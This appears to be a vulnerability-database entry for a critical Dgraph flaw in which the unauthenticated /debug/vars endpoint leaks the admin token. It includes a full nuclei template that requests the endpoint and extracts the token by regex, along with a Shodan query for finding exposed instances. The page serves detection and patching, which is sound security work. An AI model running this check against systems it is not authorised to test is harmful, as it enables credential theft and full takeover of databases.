HexBrain

Browse / CVEs / CVE-2026-41492

CVE-2026-41492· dgraph / dgraph· CWE-200

Dgraph <= 25.3.2 - Admin Token Disclosure

criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Dgraph <= 25.3.2 contains an information disclosure caused by unauthenticated access to the /debug/vars endpoint , which publishes the cmdline variable including the --security token= flag, letting unauthenticated remote attackers retrieve the admin token and access admin-only endpoints, exploit requires no authentication.

Impact

Unauthenticated attackers can retrieve the admin token and gain full administrative control over the Dgraph instance.

Fix

Update to Dgraph version 25.3.3 or later.

How to confirm it

Send: GET {{BaseURL}}/debug/vars
Positive when: contains "cmdline" and "token=" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-41492 -u <target>

The full check
id: CVE-2026-41492

info:
  name: Dgraph <= 25.3.2 - Admin Token Disclosure
  author: Divine Balija
  severity: critical
  description: |
    Dgraph <= 25.3.2 contains an information disclosure caused by unauthenticated access to the /debug/vars endpoint , which publishes  the cmdline variable including the --security token= flag, letting unauthenticated remote attackers retrieve the admin token and access admin-only endpoints, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can retrieve the admin token and gain full administrative control over the Dgraph instance.
  remediation: |
    Update to Dgraph version 25.3.3 or later.
  reference:
    - https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41492
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-41492
    epss-score: 0.03082
    epss-percentile: 0.87799
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: dgraph
    product: dgraph
    shodan-query: "Dgraph"
  tags: cve,cve2026,dgraph,exposure,token

http:
  - method: GET
    path:
      - "{{BaseURL}}/debug/vars"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cmdline"
          - "token="
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'token=([^"\\]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from